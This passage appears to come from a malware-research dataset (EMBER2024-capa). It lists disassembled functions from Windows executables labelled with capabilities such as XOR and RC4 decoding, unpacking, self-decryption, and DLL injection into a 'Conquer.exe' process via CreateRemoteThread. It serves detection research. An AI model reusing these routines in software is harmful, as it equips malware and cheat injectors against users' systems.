joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40abd8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x14], 0
mov eax, 0x2ad8adab
xor eax, 0x47063fc8
push eax
call fcn.0040b5fc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x40acf2
push 1
push 0
push 0
call dword [0x42761c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40acd4
lea eax, [ebp - 0x54]
mov dword [eax], 0x47743f9c
mov dword [eax + 4], 0x47753fbd
mov dword [eax + 8], 0x47633fbc
mov dword [eax + 0xc], 0x474f3fac
mov dword [eax + 0x10], 0x47753fa6
mov dword [eax + 0x14], 0x47673fbc
mov dword [eax + 0x18], 0x476a3fa4
mov dword [eax + 0x1c], 0x47743fad
mov dword [eax + 0x20], 0x47063fc8
mov ecx, 9
xor dword [eax], 0x47063fc8
add eax, 4
dec ecx
jne 0x40ac6f
push 0x14
lea eax, [ebp - 0x54]
push eax
push dword [ebp - 4]
call dword [0x427624]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40acd4
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0xc]
push eax
push 0x24
lea eax, [ebp - 0x30]
push eax
push 0
push dword [ebp - 8]
call dword [0x427634]
test eax, eax
jne 0x40acb5
jmp 0x40acd4
cmp dword [ebp - 0x2c], 1
jne 0x40acd0
push 0
push 0
push dword [ebp - 8]
call dword [0x42762c]
test eax, eax
jne 0x40acce
jmp 0x40acd4
jmp 0x40ac93
jmp 0x40acd4
cmp dword [ebp - 8], 0
je 0x40ace3
push dword [ebp - 8]
call dword [0x427640]
cmp dword [ebp - 4], 0
je 0x40acf2
push dword [ebp - 4]
call dword [0x427640]
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret

Function at 0x4191a8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], 0
mov ebx, dword [ebp + 8]
test dword [ebx + 0x44], 0x40000000
je 0x4191c6
ror ebx, 1
lea esi, str.c0aZ1h_
push dword [esi - 4]
call fcn.004086a8
mov edi, eax
test edi, edi
je 0x419264
push esi
push edi
mov ecx, dword [esi - 4]
lodsb al, byte [esi]
xor al, 0x30
stosb byte es:[edi], al
dec ecx
test ecx, ecx
jne 0x4191e3
pop edi
pop esi
mov esi, dword [esi - 4]
push dword [ebp + 0xc]
pop dword [ebp - 8]
lea eax, [esi*2]
push eax
push 8
push ebx
call dword [ebp - 8]
mov esi, eax
test esi, esi
je 0x41925e
push esi
push edi
call fcn.0041a6c4
add esp, 8
lea esi, [esi + 0x83]
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call fcn.00419270
mov dword [0x42719c], eax
lea esi, [esi + 0x41]
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call fcn.00419270
mov dword [0x427194], eax
lea esi, [esi + 0xd7]
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call fcn.00419270
mov dword [0x427198], eax
mov dword [ebp - 4], 1
push edi
call fcn.004086d0
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x41a6c4
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
add esi, 1
mov byte [edi], al
add edi, 1
mov ebx, 2
add dl, dl
jne 0x41a6e8
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41a6d0
add dl, dl
jne 0x41a6f3
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41a744
xor eax, eax
add dl, dl
jne 0x41a700
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41a7e1
add dl, dl
jne 0x41a70f
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41a71a
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41a725
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41a730
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x41a73a
mov ebx, edi
sub ebx, eax
mov al, byte [ebx]
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x41a6df
mov eax, 1
add dl, dl
jne 0x41a752
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41a75d
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41a749
sub eax, ebx
mov ebx, 1
jne 0x41a790
mov ecx, 1
add dl, dl
jne 0x41a776
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41a781
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41a76d
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41a6df
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x41a7a7
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41a7b2
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41a79e
cmp eax, 0x7d00
sbb ecx, 0xffffffff
cmp eax, 0x500
sbb ecx, 0xffffffff
cmp eax, 0x80
adc ecx, 0
cmp eax, 0x80
adc ecx, 0
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41a6df
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x41a802
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x41a6df
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret

Function at 0x41b2f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov ebx, 6
lodsd eax, dword [esi]
bswap eax
ror eax, 0xd
mov edx, eax
not edx
lodsd eax, dword [esi]
rol eax, 0xb
bswap eax
xor eax, edx
stosd dword es:[edi], eax
lodsd eax, dword [esi]
rol eax, 9
bswap eax
mov edx, eax
not edx
stosd dword es:[edi], eax
lodsd eax, dword [esi]
rol eax, 7
bswap eax
xor eax, edx
mov edx, eax
not edx
stosd dword es:[edi], eax
rol eax, 5
xor eax, edx
stosd dword es:[edi], eax
lea esi, [edi - 0x10]
dec ebx
test ebx, ebx
jne 0x41b305
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x41b348
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov eax, 0xfffefdfc
mov ecx, 0x40
mov ebx, dword [ebp + 0x10]
mov dword [ebx + ecx*4 - 4], eax
sub eax, 0x4040404
dec ecx
jne 0x41b35b
mov edi, dword [ebp + 0xc]
mov esi, 0x40
xor ebx, ebx
push ebp
mov ebp, dword [ebp + 0x10]
mov eax, ecx
xor edx, edx
div esi
mov al, cl
mov dl, byte [edi + edx]
add dl, byte [ebp + eax]
add dl, bl
mov bl, byte [ebp + edx]
mov dl, byte [ebp + ebx]
xchg byte [ebp + eax], dl
mov byte [ebp + ebx], dl
inc ecx
cmp ecx, 0x300
jne 0x41b375
pop ebp
xor ecx, ecx
mov edi, dword [ebp + 8]
mov esi, 0x20
push ebp
mov ebp, dword [ebp + 0x10]
mov eax, ecx
xor edx, edx
div esi
mov al, cl
mov dl, byte [edi + edx]
add dl, byte [ebp + eax]
add dl, bl
mov bl, byte [ebp + edx]
mov dl, byte [ebp + ebx]
xchg byte [ebp + eax], dl
mov byte [ebp + ebx], dl
inc ecx
cmp ecx, 0x300
jne 0x41b3ae
pop ebp
xor ecx, ecx
mov edi, dword [ebp + 0xc]
mov esi, 0x40
push ebp
mov ebp, dword [ebp + 0x10]
mov eax, ecx
xor edx, edx
div esi
mov al, cl
mov dl, byte [edi + edx]
add dl, byte [ebp + eax]
add dl, bl
mov bl, byte [ebp + edx]
mov dl, byte [ebp + ebx]
xchg byte [ebp + eax], dl
mov byte [ebp + ebx], dl
inc ecx
cmp ecx, 0x300
jne 0x41b3e7
pop ebp
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
ret 0xc

Function at 0x41b41c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor eax, eax
mov ebx, dword [ebp + 0x14]
xor ecx, ecx
xor edx, edx
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
test esi, esi
je 0x41b468
push ebp
mov ebp, dword [ebp + 0x10]
mov dl, byte [ebp + ecx]
add dl, bl
mov bl, byte [ebp + edx]
mov dl, byte [ebp + ebx]
mov dl, byte [ebp + edx]
inc dl
mov al, byte [ebp + edx]
xor byte [edi], al
mov dl, byte [ebp + ebx]
xchg byte [ebp + ecx], dl
mov byte [ebp + ebx], dl
inc cl
inc edi
dec esi
test esi, esi
jne 0x41b439
pop ebp
pop edi
pop esi
pop ebx
pop ebp
ret 0x10
Function at 0x41ed50
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x11000]
push edi
or ebp, 0xffffffff
jmp 0x41ed72
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41ed79
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41ed68
mov eax, 1
add ebx, ebx
jne 0x41ed8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41ed80
jne 0x41ed9c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41ed80
xor ecx, ecx
sub eax, 3
jb 0x41edb0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41ee22
mov ebp, eax
add ebx, ebx
jne 0x41edbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41edc8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41edec
inc ecx
add ebx, ebx
jne 0x41edd8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41edcd
jne 0x41ede9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41edcd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41ee0c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41edfd
jmp 0x41ed6e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41ee0c
add edi, ecx
jmp 0x41ed6e
pop esi
mov edi, esi
mov ecx, 0x5d4
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41ee2a
cmp byte [edi], 0x11
jne 0x41ee2a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41ee2f
lea edi, [esi + 0x1c000]
mov eax, dword [edi]
or eax, eax
je 0x41eea7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1e1dc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1e234]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41ee5c
mov ecx, edi
jns 0x41ee8b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1e23c]
or eax, eax
je 0x41eea1
mov dword [ebx], eax
add ebx, 4
jmp 0x41ee79
call dword [esi + 0x1e238]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x41eed8
cmp al, 0xef
ja 0x41eecb
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x41eead
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x41eeba
mov ebp, dword [esi + 0x1e240]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x41ef0c
sub esp, 0xffffff80
jmp 0x4015c4
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x407ef8
nop
mov ecx, 0x54af2e94
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x42e024
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x6aa675bd
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x4013a2
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi + 0x3c]
lea ebx, [eax + edi + 0x78]
mov eax, dword [ebx]
test eax, eax
je 0x401451
cmp dword [ebx + 4], 0x28
jb 0x401451
lea esi, [eax + edi]
mov ecx, dword [esi + 0x18]
test ecx, ecx
je 0x401451
mov edx, dword [esi + 0x20]
cmp edx, eax
jb 0x401451
lea edx, [edx + ecx*4]
mov ecx, dword [ebx + 4]
add ecx, eax
cmp ecx, edx
jb 0x401451
mov eax, dword [esi + 0x20]
and dword [ebp + 8], 0
add eax, edi
mov dword [ebp - 4], eax
mov eax, dword [esi + 0x1c]
add eax, edi
mov dword [ebp - 0x10], eax
mov eax, dword [esi + 0x24]
add eax, edi
cmp dword [esi + 0x18], 0
mov dword [ebp - 0xc], eax
jbe 0x401451
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 4]
lea eax, [eax + ecx*4]
mov ecx, dword [ebx]
cmp ecx, dword [eax]
ja 0x401446
mov eax, dword [eax]
push dword [ebp + 0xc]
mov dword [ebp - 8], eax
call dword [0x4620302c]
mov edx, dword [ebx]
mov ecx, dword [ebp - 8]
add edx, dword [ebx + 4]
lea eax, [eax + ecx + 1]
cmp eax, edx
ja 0x401446
push dword [ebp + 0xc]
lea eax, [ecx + edi]
push eax
call dword [0x46203028]
test eax, eax
je 0x401458
inc dword [ebp + 8]
mov eax, dword [ebp + 8]
cmp eax, dword [esi + 0x18]
jb 0x401408
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov ecx, dword [ebp + 8]
cmp dword [esi + 0x14], ecx
jbe 0x401451
mov esi, dword [esi + 0x1c]
mov eax, dword [ebx]
cmp esi, eax
jb 0x401451
lea edx, [esi + ecx*4 + 4]
mov esi, dword [ebx + 4]
add esi, eax
cmp esi, edx
jb 0x401451
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + ecx*2]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx + eax*4]
jmp 0x401453

Function at 0x402320
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push ebx
mov bl, byte [eax]
push esi
cmp bl, 0xd8
je 0x402351
cmp bl, 0xd7
je 0x402351
mov esi, dword [esp + 0x14]
lea ecx, [eax + 1]
test esi, esi
jle 0x402379
mov eax, dword [esp + 0x10]
sub ecx, eax
mov dl, byte [ecx + eax]
mov byte [eax], dl
inc eax
sub esi, 1
jne 0x402343
pop esi
pop ebx
ret
mov esi, dword [esp + 0x10]
push esi
inc eax
push eax
call fcn.0040239e
cmp bl, 0xd8
jne 0x402379
mov ecx, dword [esp + 0x14]
xor eax, eax
test ecx, ecx
jle 0x402379
lea esp, [esp]
xor byte [eax + esi], 0xf0
inc eax
cmp eax, ecx
jl 0x402370
pop esi
pop ebx
ret
Function at 0x402170
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xfc
push ebx
push esi
push edi
lea edi, [ebp - 0xfc]
mov ecx, 0x3f
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 0xc]
push eax
call fcn.00405b30
add esp, 4
add eax, 1
mov dword [ebp - 8], eax
mov esi, esp
push 0x40
push 0x1000
mov eax, dword [ebp - 8]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cmp esi, esp
call fcn.00406390
mov dword [ebp - 0x14], eax
mov esi, esp
push 0
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp esi, esp
call fcn.00406390
mov esi, esp
push str.LoadLibraryA
mov edi, esp
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp edi, esp
call fcn.00406390
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp esi, esp
call fcn.00406390
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x40221d
xor al, al
jmp 0x4022cc
mov esi, esp
push 0
push 0
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp esi, esp
call fcn.00406390
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x40224d
xor al, al
jmp 0x4022cc
mov esi, esp
push 0x2710
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp esi, esp
call fcn.00406390
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x80
je 0x402280
cmp dword [ebp - 0x38], 0x102
je 0x402280
cmp dword [ebp - 0x38], 0xffffffff
jne 0x40229d
cmp dword [ebp - 0x2c], 0
je 0x402299
mov esi, esp
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.00406390
xor al, al
jmp 0x4022cc
mov esi, esp
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.00406390
cmp dword [ebp - 0x2c], 0
je 0x4022ca
mov esi, esp
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.00406390
mov al, 1
pop edi
pop esi
pop ebx
add esp, 0xfc
cmp ebp, esp
call fcn.00406390
mov esp, ebp
pop ebp
ret
Function at 0x403db0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e0
push ebx
push esi
push edi
lea edi, [ebp - 0x2e0]
mov ecx, 0xb8
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x459418]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x44
push 0
lea eax, [ebp - 0x4c]
push eax
call fcn.00405aa0
add esp, 0xc
mov dword [ebp - 0x4c], 0x44
push 0x10
push 0
lea eax, [ebp - 0x64]
push eax
call fcn.00405aa0
add esp, 0xc
push str.Conquer.exe_blacknull
lea ecx, [ebp - 0x88]
call fcn.00401910
mov eax, dword [0x447450]
push eax
push 0x447528
lea ecx, [ebp - 0x88]
call fcn.00403630
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x94]
cmp eax, dword [0x447450]
je 0x403e6b
mov eax, dword [ebp - 0x94]
push eax
push 0
lea ecx, [ebp - 0x2cc]
push ecx
lea ecx, [ebp - 0x88]
call fcn.00403ca0
push eax
lea ecx, [ebp - 0x88]
call fcn.00402d80
lea ecx, [ebp - 0x2cc]
call fcn.00401c70
lea ecx, [ebp - 0x88]
call fcn.00403c70
add eax, 1
push eax
lea ecx, [ebp - 0x88]
call fcn.004030e0
push eax
lea eax, [ebp - 0x1a0]
push eax
call fcn.00405450
add esp, 0xc
mov eax, dword [ebp - 0x94]
cmp eax, dword [0x447450]
jne 0x403eaf
mov dword [ebp - 0x2e0], 0
jmp 0x403ebb
lea ecx, [ebp - 0x1a0]
mov dword [ebp - 0x2e0], ecx
mov esi, esp
lea edx, [ebp - 0x64]
push edx
lea eax, [ebp - 0x4c]
push eax
mov ecx, dword [ebp - 0x2e0]
push ecx
push 0
push 0
push 0
push 0
push 0
push str.Conquer.exe_blacknull
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp esi, esp
call fcn.00406390
test eax, eax
jne 0x403f28
mov esi, esp
push 0
push str.Rage
push str.Client_files_has_been_changed
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.00406390
mov dword [ebp - 0x2d8], 0
lea ecx, [ebp - 0x88]
call fcn.00401c70
mov eax, dword [ebp - 0x2d8]
jmp 0x403f44
push 0x447554
mov eax, dword [ebp - 0x64]
push eax
call fcn.00402170
add esp, 8
lea ecx, [ebp - 0x88]
call fcn.00401c70
push edx
mov ecx, ebp
push eax
lea edx, [0x403f78]
call fcn.00406330
pop eax
pop edx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004063c0
add esp, 0x2e0
cmp ebp, esp
call fcn.00406390
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4195b0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, 4
imul eax, eax, 0x17
mov ecx, dword [eax + 0x45c3c0]
xor ecx, dword [0x459418]
mov dword [ebp - 4], ecx
je 0x4195e2
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 4]
jmp 0x419601
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00419470
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov esp, ebp
pop ebp
ret
Function at 0x401394
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
lea edx, [ecx + 0x18]
add edx, eax
movzx eax, word [ecx + 6]
imul esi, eax, 0x28
add esi, edx
jmp 0x4013c9
mov ecx, dword [edx + 0xc]
cmp dword [ebp + 0xc], ecx
jb 0x4013c6
mov eax, dword [edx + 8]
add eax, ecx
cmp dword [ebp + 0xc], eax
jb 0x4013d2
add edx, 0x28
cmp edx, esi
jne 0x4013b4
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 0x4013cf

Function at 0x401817
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401856
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401856
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401856
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401856
cmp dword [ecx + 0x74], 0xe
jbe 0x401856
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4010e0
Capabilities:
Delete file
Set file attributes

Disassembly:
mov eax, 0x1050
call fcn.004118b0
mov eax, dword [0x41a07c]
xor eax, esp
mov dword [esp + 0x104c], eax
push ebx
push ebp
mov ebp, dword [esp + 0x105c]
push esi
push edi
mov edi, ecx
xor ebx, ebx
mov dword [esp + 0x18], edi
mov esi, edx
mov dword [esp + 0x14], ebx
mov ecx, 0x10
lea eax, [esp + 0x1c]
lea ebx, [ebx]
mov byte [eax], bl
inc eax
sub ecx, 1
jne 0x401120
lea eax, [esp + 0x34]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x4c]
push edx
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x30]
push ecx
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
cmp ebp, ebx
je 0x40120f
cmp esi, ebx
je 0x40120f
mov eax, 1
test byte [esi + 0x105c], al
je 0x40120f
mov dword [esi + 0x1060], eax
mov eax, edi
mov ecx, 0x800
mov edx, esi
mov dword [esi + 0x103c], ebx
call fcn.00401090
movzx edx, word [esp + 0x28]
movzx eax, word [esp + 0x26]
movzx ecx, word [esp + 0x24]
push edx
movzx edx, word [esp + 0x20]
push eax
movzx eax, word [esp + 0x2a]
push ecx
movzx ecx, word [esp + 0x2a]
push edx
push eax
push ecx
push str._u__u__u__u:_u:_u
lea ebx, [esi + 0x1000]
mov eax, 0x3c
call fcn.00401030
mov edx, dword [esp + 0x6c]
xor ebx, ebx
mov eax, edx
add esp, 0x1c
mov edx, ebx
mov cl, 0x20
mov dword [esi + 0x1058], 1
call fcn.00413420
mov dword [esi + 0x1050], eax
mov eax, dword [esp + 0x54]
add dword [esi + 0x1050], eax
mov dword [esi + 0x1054], edx
push esi
adc dword [esi + 0x1054], ebx
mov dword [esi + 0x1074], ebx
call ebp
add esp, 4
cmp dword [esi + 0x1064], 0
je 0x40121f
xor eax, eax
jmp 0x40131e
mov ebx, 1
cmp dword [esi + 0x1074], ebx
jne 0x401233
mov eax, ebx
jmp 0x40131e
push 0x80
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
push 0x80
push 3
push 0
push 0
push 0x120112
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x4012c5
cmp dword [esi + 0x1070], ebx
push edi
mov ebx, ebp
jne 0x401271
call fcn.00405190
jmp 0x401276
call fcn.00404e00
add esp, 4
push edi
test eax, eax
je 0x4012bf
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x18]
push ecx
lea edi, [esp + 0x5c]
call fcn.00401670
add esp, 4
test eax, eax
jne 0x4012a6
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x4012c5
lea eax, [esp + 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x4012c5
mov dword [esp + 0x14], 1
jmp 0x4012c5
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebp, ebp
je 0x40131a
cmp dword [esi + 0x1064], 0
jne 0x40131a
mov eax, 8
test byte [esi + 0x105c], al
je 0x40131a
mov dword [esi + 0x1060], eax
mov eax, dword [esp + 0x18]
mov ecx, 0x800
mov edx, esi
mov dword [esi + 0x103c], 0
call fcn.00401090
mov ecx, dword [esp + 0x14]
dec ecx
neg ecx
sbb ecx, ecx
and ecx, 0xfffffffe
add ecx, 2
push esi
mov dword [esi + 0x1058], ecx
call ebp
add esp, 4
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x105c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00408c7e
add esp, 0x1050
ret
Function at 0x401670
Capabilities:
Move file

Disassembly:
sub esp, 0xc
push ebp
push esi
mov esi, dword [esp + 0x18]
xor ebp, ebp
cmp esi, ebp
je 0x40175b
cmp edi, ebp
je 0x40175b
mov eax, esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x401690
sub eax, edx
sar eax, 1
push ebx
mov ebx, eax
cmp ebx, 0x801
jbe 0x4016b3
pop ebx
pop esi
xor eax, eax
pop ebp
add esp, 0xc
ret
mov eax, esi
mov ecx, 0x800
mov edx, edi
call fcn.00401090
push 0x5c
push ebp
push edi
call dword [sym.imp.SHLWAPI.dll_StrRChrW]
cmp eax, ebp
jne 0x4016e3
mov eax, edi
sub eax, edi
sar eax, 1
mov dword [esp + 0xc], 3
mov dword [esp + 0x14], eax
jmp 0x4016fc
add eax, 2
sub eax, edi
sar eax, 1
mov dword [esp + 0xc], 3
mov dword [esp + 0x14], eax
jmp 0x4016fc
mov eax, dword [esp + 0x14]
mov esi, eax
cmp esi, ebx
jae 0x401732
lea eax, [esp + 0x10]
push eax
mov dword [esp + 0x14], ebp
call fcn.00409843
mov ecx, dword [esp + 0x14]
mov eax, 0x4ec4ec4f
mul ecx
shr edx, 3
